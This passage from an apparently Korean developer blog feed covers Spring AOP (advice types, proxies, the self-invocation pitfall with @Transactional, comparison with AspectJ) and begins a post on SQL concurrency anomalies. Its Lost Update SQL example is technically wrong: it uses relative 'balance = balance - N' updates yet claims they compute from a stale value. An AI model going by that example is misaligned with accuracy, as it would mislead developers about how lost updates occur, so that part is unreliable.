&lt;h3&gt;&lt;strong&gt;AOP로 분리한 뒤&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Service
public class OrderService {
    public Order createOrder(OrderRequest request) {
        return orderRepository.save(...);  // 핵심 로직만
    }

    public Order getOrder(Long id) {
        return orderRepository.findById(id);  // 핵심 로직만
    }
}

@Aspect
@Component
public class LoggingAspect {
    @Around(&amp;quot;execution(* com.example.service.*.*(..))&amp;quot;)
    public Object logAndMeasure(ProceedingJoinPoint joinPoint) throws Throwable {
        log.info(&amp;quot;{} 호출, args={}&amp;quot;, joinPoint.getSignature(), joinPoint.getArgs());
        long start = System.currentTimeMillis();
        try {
            Object result = joinPoint.proceed();
            log.info(&amp;quot;실행 시간: {}ms&amp;quot;, System.currentTimeMillis() - start);
            return result;
        } catch (Throwable e) {
            log.error(&amp;quot;예외 발생&amp;quot;, e);
            throw e;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;효과:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서비스 클래스는 &lt;strong&gt;비즈니스 로직만&lt;/strong&gt; 담당한다.&lt;/li&gt;
&lt;li&gt;로깅·시간 측정은 &lt;strong&gt;한 곳(Aspect)&lt;/strong&gt; 에만 정의하고, 적용 대상을 &lt;strong&gt;Pointcut&lt;/strong&gt; 으로 지정한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. AOP 핵심 용어 정리&lt;/h2&gt;
&lt;p&gt;부가 기능을 &lt;strong&gt;어디에&lt;/strong&gt;, &lt;strong&gt;무엇을&lt;/strong&gt;, &lt;strong&gt;언제&lt;/strong&gt; 적용할지 정의하는 데 쓰는 용어다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;용어&lt;/th&gt;
&lt;th&gt;설명 (쉽게)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Target&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;부가 기능이 적용되는 &lt;strong&gt;대상 객체&lt;/strong&gt; (실제 비즈니스 로직을 가진 클래스)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Advice&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;어떤 부가 기능&lt;/strong&gt;을 넣을지에 대한 &lt;strong&gt;구체적인 로직&lt;/strong&gt; (로깅, 트랜잭션 시작/커밋 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Join Point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Advice가 끼어들 수 있는 &lt;strong&gt;실행 시점&lt;/strong&gt; (Spring AOP는 &lt;strong&gt;메서드 실행 시점&lt;/strong&gt;만 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pointcut&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;어느 메서드에&lt;/strong&gt; Advice를 적용할지 정하는 &lt;strong&gt;조건&lt;/strong&gt; (예: 특정 패키지, 특정 어노테이션)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Aspect&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Advice + Pointcut&lt;/strong&gt; 을 묶어서 하나의 관심사(부가 기능 모듈)로 정의한 것&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;한 줄로:&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;Pointcut&lt;/strong&gt;으로 &amp;quot;어디에&amp;quot; 적용할지 정하고, &lt;strong&gt;Advice&lt;/strong&gt;로 &amp;quot;무엇을(어떤 로직을)&amp;quot; 넣을지 작성한다. 이걸 &lt;strong&gt;Aspect&lt;/strong&gt;로 묶어서 관리한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Advice의 5가지 종류&lt;/h2&gt;
&lt;p&gt;메서드 실행을 기준으로, &lt;strong&gt;언제&lt;/strong&gt; 부가 기능이 실행될지에 따라 다섯 가지로 나뉜다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;종류&lt;/th&gt;
&lt;th&gt;실행 시점&lt;/th&gt;
&lt;th&gt;사용 예&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@Before&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;타겟 메서드 &lt;strong&gt;호출 전&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;파라미터 검증, 로깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@AfterReturning&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;타겟 메서드가 &lt;strong&gt;정상 반환한 후&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;반환값 로깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@AfterThrowing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;예외가 발생했을 때&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;예외 로깅, 알림&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@After&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정상/예외 관계없이 &lt;strong&gt;메서드 종료 후&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;리소스 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@Around&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;메서드 실행 전·후 모두 제어&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;트랜잭션, 로깅, 시간 측정 (가장 많이 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;간단한 코드 예시&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Aspect
@Component
public class ExampleAspect {

    @Before(&amp;quot;execution(* com.example.service.*.*(..))&amp;quot;)
    public void before(JoinPoint joinPoint) {
        log.info(&amp;quot;메서드 실행 전: {}&amp;quot;, joinPoint.getSignature());
    }

    @AfterReturning(pointcut = &amp;quot;execution(* com.example.service.*.*(..))&amp;quot;, returning = &amp;quot;result&amp;quot;)
    public void afterReturning(JoinPoint joinPoint, Object result) {
        log.info(&amp;quot;정상 반환 후, result={}&amp;quot;, result);
    }

    @AfterThrowing(pointcut = &amp;quot;execution(* com.example.service.*.*(..))&amp;quot;, throwing = &amp;quot;ex&amp;quot;)
    public void afterThrowing(JoinPoint joinPoint, Exception ex) {
        log.error(&amp;quot;예외 발생: {}&amp;quot;, ex.getMessage());
    }

    @Around(&amp;quot;execution(* com.example.service.*.*(..))&amp;quot;)
    public Object around(ProceedingJoinPoint joinPoint) throws Throwable {
        log.info(&amp;quot;전처리&amp;quot;);
        Object result = joinPoint.proceed();  // 실제 메서드 실행
        log.info(&amp;quot;후처리&amp;quot;);
        return result;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;[!note] Around를 가장 많이 쓰는 이유&lt;br&gt;&lt;code&gt;@Around&lt;/code&gt;는 &lt;code&gt;joinPoint.proceed()&lt;/code&gt; 호출 전후로 자유롭게 로직을 넣을 수 있어, 트랜잭션 시작/커밋, 실행 시간 측정, 예외 래핑 등을 한 번에 처리하기 좋다. &lt;code&gt;@Transactional&lt;/code&gt;도 내부적으로 Around 형태의 Advice로 동작한다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;4. Spring AOP의 동작 원리: 프록시(Proxy)&lt;/h2&gt;
&lt;p&gt;Spring AOP는 &lt;strong&gt;런타임에&lt;/strong&gt; 타겟 객체를 &lt;strong&gt;프록시 객체로 감싼 뒤&lt;/strong&gt;, 클라이언트가 그 프록시를 통해 호출하도록 한다. 그래서 호출이 들어오면 &lt;strong&gt;프록시가 먼저 Advice(부가 기능)를 실행&lt;/strong&gt;하고, 그다음 &lt;strong&gt;실제 타겟 메서드&lt;/strong&gt;를 호출한다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;호출 흐름&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[클라이언트]  ──호출──▶  [AOP 프록시 객체]  ──위임──▶  [실제 Target 객체]
                            │
                            ├─ Advice 실행 (로깅, 트랜잭션 등)
                            └─ target.메서드() 호출&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;클라이언트&lt;/strong&gt;는 타겟을 직접 부르는 것이 아니라 &lt;strong&gt;프록시&lt;/strong&gt;를 부른다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;프록시&lt;/strong&gt;가 부가 기능을 수행한 뒤, 내부적으로 &lt;strong&gt;실제 객체의 메서드&lt;/strong&gt;를 호출한다.&lt;/li&gt;
&lt;li&gt;따라서 Spring AOP는 &lt;strong&gt;메서드 호출 시점&lt;/strong&gt;에만 부가 기능을 넣을 수 있고, 이를 &lt;strong&gt;런타임 위빙&lt;/strong&gt;이라고 부른다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;프록시가 적용된 코드 (개념)&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 스프링이 만드는 프록시 (개념적 코드)
public class OrderService$$SpringProxy extends OrderService {
    private final OrderService target;  // 실제 대상 객체

    @Override
    public Order createOrder(OrderRequest request) {
        // 1. 부가 기능 실행 (트랜잭션 시작, 로깅 등)
        transactionManager.begin();
        log.info(&amp;quot;createOrder 호출&amp;quot;);
        // 2. 실제 타겟 메서드 호출
        Order result = target.createOrder(request);
        // 3. 부가 기능 마무리 (커밋, 로깅 등)
        transactionManager.commit();
        return result;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;5. 내부 호출(Self-Invocation) 문제 — 반드시 이해할 것&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;[!important] 주의: 내부 호출 시 AOP가 적용되지 않음&lt;br&gt;&lt;strong&gt;같은 클래스 안&lt;/strong&gt;에서 자기 자신의 &lt;strong&gt;다른 메서드를 호출&lt;/strong&gt;하면, 그 호출은 &lt;strong&gt;프록시를 거치지 않고&lt;/strong&gt; 타겟 객체의 메서드를 &lt;strong&gt;직접&lt;/strong&gt; 호출하게 된다.&lt;br&gt;그래서 &lt;strong&gt;그 내부 메서드에 걸린 @Transactional 이나 다른 AOP가 전혀 동작하지 않는다.&lt;/strong&gt;&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;strong&gt;왜 그런가?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;AOP가 적용되려면 &lt;strong&gt;반드시 프록시를 통한 호출&lt;/strong&gt;이어야 한다.&lt;/li&gt;
&lt;li&gt;클라이언트 → 프록시 → 타겟 순서로만 호출이 들어올 때 Advice가 실행된다.&lt;/li&gt;
&lt;li&gt;같은 객체 안에서 &lt;code&gt;this.다른메서드()&lt;/code&gt;를 호출하면 &lt;strong&gt;this&lt;/strong&gt;는 &lt;strong&gt;프록시가 아니라 실제 객체&lt;/strong&gt;이기 때문에, 프록시를 타지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;문제가 되는 코드 예시&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Service
public class OrderService {

    public void methodA() {
        // methodB()를 내부에서 호출 → 프록시를 거치지 않음!
        this.methodB();  // @Transactional 적용 안 됨
    }

    @Transactional
    public void methodB() {
        // DB 작업
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;외부&lt;/strong&gt;에서 &lt;code&gt;orderService.methodB()&lt;/code&gt;를 호출하면 → 프록시를 타므로 &lt;code&gt;@Transactional&lt;/code&gt; 동작 ✅  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;같은 클래스&lt;/strong&gt;의 &lt;code&gt;methodA()&lt;/code&gt;에서 &lt;code&gt;this.methodB()&lt;/code&gt;를 호출하면 → 프록시를 타지 않으므로 &lt;code&gt;@Transactional&lt;/code&gt; 동작 ❌  &lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;해결 방법&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1) 부가 기능이 필요한 메서드를 다른 빈으로 분리 (권장)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Service
public class OrderService {
    private final OrderTxHelper orderTxHelper;

    public OrderService(OrderTxHelper orderTxHelper) {
        this.orderTxHelper = orderTxHelper;
    }

    public void methodA() {
        orderTxHelper.methodB();  // 다른 빈 호출 → 프록시를 타므로 @Transactional 동작
    }
}

@Service
public class OrderTxHelper {
    @Transactional
    public void methodB() {
        // DB 작업
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2) 자기 자신의 프록시를 주입받아 호출 (비권장, 구조가 복잡해짐)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Service
public class OrderService {
    @Autowired
    private ApplicationContext context;  // 또는 self-injection

    public void methodA() {
        OrderService self = context.getBean(OrderService.class);
        self.methodB();  // 프록시를 통해 호출
    }

    @Transactional
    public void methodB() { ... }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;실무에서는 &lt;strong&gt;1) 별도 서비스/헬퍼로 분리&lt;/strong&gt;하는 방식을 추천한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Spring AOP vs AspectJ&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;Spring AOP&lt;/th&gt;
&lt;th&gt;AspectJ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;기반&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;프록시 패턴&lt;/td&gt;
&lt;td&gt;자바용 AOP 구현체 (위빙)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위빙 시점&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;런타임&lt;/strong&gt; (프록시 생성)&lt;/td&gt;
&lt;td&gt;컴파일 타임 / 로드 타임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Join Point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;메서드 실행&lt;/strong&gt;만&lt;/td&gt;
&lt;td&gt;메서드 호출·실행, 생성자, 필드 접근 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;적용 대상&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;스프링 빈&lt;/strong&gt;만&lt;/td&gt;
&lt;td&gt;모든 자바 객체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;설정&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;스프링 설정만으로 사용 가능&lt;/td&gt;
&lt;td&gt;별도 도구/플러그인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;정리:&lt;/strong&gt;  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;일상적인 로깅, 트랜잭션, 권한 체크는 &lt;strong&gt;Spring AOP&lt;/strong&gt;로 충분하다.  &lt;/li&gt;
&lt;li&gt;생성자 호출, 필드 접근 등 메서드 외부에 부가 기능을 붙여야 하면 &lt;strong&gt;AspectJ&lt;/strong&gt;를 고려한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. 흔한 실수와 오해&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;&amp;quot;트랜잭션이 왜 안 먹지?&amp;quot;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;원인&lt;/strong&gt;: 같은 클래스 안에서 &lt;code&gt;@Transactional&lt;/code&gt;이 없는 메서드가, &lt;code&gt;@Transactional&lt;/code&gt;이 붙은 메서드를 &lt;strong&gt;내부에서&lt;/strong&gt; 호출하고 있는 경우다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이유&lt;/strong&gt;: 내부 호출은 프록시를 거치지 않아 트랜잭션 Advice가 실행되지 않는다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;대응&lt;/strong&gt;: 트랜잭션이 필요한 부분을 &lt;strong&gt;별도 빈(서비스/헬퍼)&lt;/strong&gt; 으로 분리하고, 그 빈의 메서드를 호출하도록 변경한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. 예상 꼬리 질문 정리&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Q1. Spring AOP는 어떤 방식으로 동작하나요?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;런타임에 &lt;strong&gt;프록시 패턴&lt;/strong&gt;으로 동작합니다. 스프링은 AOP가 적용된 빈에 대해 &lt;strong&gt;프록시 객체&lt;/strong&gt;를 만들고, 클라이언트는 타겟 대신 이 &lt;strong&gt;프록시&lt;/strong&gt;를 호출하게 됩니다. 프록시가 먼저 &lt;strong&gt;Advice(부가 기능)&lt;/strong&gt; 를 실행한 뒤, &lt;strong&gt;실제 타겟 메서드&lt;/strong&gt;를 호출합니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Q2. 내부 호출 시 @Transactional이 동작하지 않는 이유와 해결 방법은?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Spring AOP는 &lt;strong&gt;프록시를 통한 호출&lt;/strong&gt;에만 적용됩니다. 같은 클래스 안에서 &lt;code&gt;this.메서드()&lt;/code&gt;를 호출하면 프록시를 거치지 않고 타겟을 직접 호출하기 때문에 AOP가 적용되지 않습니다.&lt;br&gt;&lt;strong&gt;해결&lt;/strong&gt;: 트랜잭션이 필요한 로직을 &lt;strong&gt;별도 빈(클래스)&lt;/strong&gt; 으로 분리하고, 그 빈을 주입받아 호출하면 프록시를 타므로 &lt;code&gt;@Transactional&lt;/code&gt;이 정상 동작합니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Q3. Spring AOP와 AspectJ의 차이는?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Spring AOP는 &lt;strong&gt;스프링 빈&lt;/strong&gt;에 대해 &lt;strong&gt;런타임에 프록시&lt;/strong&gt;를 만들어 &lt;strong&gt;메서드 실행 시점&lt;/strong&gt;에만 부가 기능을 적용합니다.&lt;br&gt;AspectJ는 &lt;strong&gt;컴파일/로드 타임 위빙&lt;/strong&gt;을 사용하며, &lt;strong&gt;메서드 호출·생성자·필드 접근&lt;/strong&gt; 등 다양한 Join Point를 지원하고, 스프링 빈이 아닌 &lt;strong&gt;일반 자바 객체&lt;/strong&gt;에도 적용할 수 있는 AOP 구현체입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AOP&lt;/strong&gt;는 핵심 비즈니스 로직과 &lt;strong&gt;횡단 관심사(로깅, 트랜잭션, 권한 등)&lt;/strong&gt; 를 분리해 모듈화하는 기법이다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pointcut&lt;/strong&gt;으로 적용할 메서드를 정하고, &lt;strong&gt;Advice&lt;/strong&gt;로 부가 기능 로직을 작성하며, &lt;strong&gt;Aspect&lt;/strong&gt;로 묶어 관리한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advice 종류&lt;/strong&gt;: Before, AfterReturning, AfterThrowing, After, &lt;strong&gt;Around&lt;/strong&gt;(가장 활용도 높음).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spring AOP&lt;/strong&gt;는 &lt;strong&gt;프록시&lt;/strong&gt;를 이용한 &lt;strong&gt;런타임 위빙&lt;/strong&gt;이며, &lt;strong&gt;메서드 실행&lt;/strong&gt;에만 적용된다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;내부 호출&lt;/strong&gt;(같은 클래스에서 &lt;code&gt;this.메서드()&lt;/code&gt;)은 프록시를 타지 않아 &lt;strong&gt;@Transactional 등 AOP가 적용되지 않는다.&lt;/strong&gt; 해결은 트랜잭션 로직을 &lt;strong&gt;별도 빈으로 분리&lt;/strong&gt;하는 것이다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spring AOP&lt;/strong&gt;는 빈 + 메서드 실행 중심, &lt;strong&gt;AspectJ&lt;/strong&gt;는 다양한 Join Point와 컴파일/로드 타임 위빙을 지원한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.spring.io/spring-framework/reference/core/aop.html&quot;&gt;Spring Framework - AOP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/articles/aop.html&quot;&gt;Aspect-Oriented Programming - Martin Fowler&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Spring</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/135</guid>
      <comments>https://jaemeon.tistory.com/135#entry135comment</comments>
      <pubDate>Mon, 23 Feb 2026 09:04:48 +0900</pubDate>
    </item>
    <item>
      <title>SQL_24) 동시라는 것은 SQL에 좋지 않다.</title>
      <link>https://jaemeon.tistory.com/134</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데이터베이스 동시성 이슈(Concurrency Issues)&lt;/b&gt;는 여러 트랜잭션이 동시에 같은 데이터에 접근할 때 발생하는 문제입니다. Lost Update, Dirty Read, Non-Repeatable Read, Phantom Read 등의 문제가 발생할 수 있으며, 이를 해결하기 위해 락(Lock) 메커니즘과 격리 수준(Isolation Level)을 사용합니다. 동시성과 데이터 일관성 사이의 트레이드오프를 이해하고 적절한 격리 수준을 선택하는 것이 중요합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;현대의 데이터베이스는 여러 사용자가 동시에 접근하는 환경입니다. 여러 트랜잭션이 동시에 같은 데이터를 읽거나 수정할 때, 적절한 제어가 없으면 데이터의 일관성이 깨지고 잘못된 결과가 발생할 수 있습니다. 예를 들어, 두 사용자가 동시에 계좌 잔액을 조회하고 출금하면, 한 사용자의 출금이 반영되지 않아 잔액이 잘못 계산될 수 있습니다.&lt;/li&gt;
&lt;li&gt;동시성 이슈를 해결하기 위해 락 메커니즘과 격리 수준을 사용하지만, 이는 성능과 일관성 사이의 트레이드오프를 수반합니다. 격리 수준이 높을수록 데이터 일관성은 보장되지만 동시성이 저하되고, 격리 수준이 낮을수록 동시성은 향상되지만 데이터 일관성 문제가 발생할 수 있습니다.&lt;/li&gt;
&lt;li&gt;Lost Update, Dirty Read, Non-Repeatable Read, Phantom Read 등의 동시성 문제와 이를 해결하는 방법, 락의 종류와 동작 원리, 데드락의 발생 원인과 해결 방법을 이해해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 동시성 이슈란?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;동시성 이슈의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;동시성 이슈(Concurrency Issues)&lt;/b&gt;는 여러 트랜잭션이 동시에 같은 데이터에 접근할 때 발생하는 데이터 일관성 문제입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;동시성 이슈가 발생하는 이유&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스는 여러 사용자가 동시에 접근하는 환경입니다:&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;사용자 A의 트랜잭션: 계좌 조회 &amp;rarr; 출금
사용자 B의 트랜잭션: 계좌 조회 &amp;rarr; 출금
                    &amp;darr;
            동시에 같은 데이터 접근
                    &amp;darr;
            데이터 일관성 문제 발생 가능&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;동시성 이슈의 종류&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 동시성 이슈는 다음과 같습니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Lost Update (갱신 손실)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dirty Read (더티 읽기)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Non-Repeatable Read (반복 불가능한 읽기)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phantom Read (팬텀 읽기)&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Lost Update (갱신 손실)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Lost Update의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Lost Update(갱신 손실)&lt;/b&gt;는 두 트랜잭션이 동시에 같은 데이터를 수정할 때, 하나의 변경사항이 손실되는 문제입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Lost Update 발생 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오: 계좌 잔액 출금&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 초기값: 계좌 잔액 = 10,000원

-- 트랜잭션 A: 3,000원 출금
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 10,000원

-- 트랜잭션 B (동시 실행): 5,000원 출금
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 10,000원 (트랜잭션 A가 아직 커밋하지 않음)

-- 트랜잭션 A
UPDATE 계좌 SET 잔액 = 잔액 - 3000 WHERE 계좌번호 = 'A001';
-- 계산: 10,000 - 3,000 = 7,000원
COMMIT;  -- 잔액 = 7,000원

-- 트랜잭션 B
UPDATE 계좌 SET 잔액 = 잔액 - 5000 WHERE 계좌번호 = 'A001';
-- 계산: 10,000 - 5,000 = 5,000원 (트랜잭션 A의 변경사항 무시!)
COMMIT;  -- 잔액 = 5,000원

-- 예상값: 10,000 - 3,000 - 5,000 = 2,000원
-- 실제값: 5,000원 (트랜잭션 A의 변경사항 손실!)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Lost Update의 문제점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;데이터 정확성 손실&lt;/b&gt;: 실제로는 2,000원이어야 하는데 5,000원으로 잘못 저장됨&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비즈니스 로직 위반&lt;/b&gt;: 출금 금액의 합계가 실제 차감 금액과 다름&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 무결성 훼손&lt;/b&gt;: 계좌 잔액이 실제와 다름&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Lost Update 해결 방법&lt;/b&gt;&lt;/h3&gt;
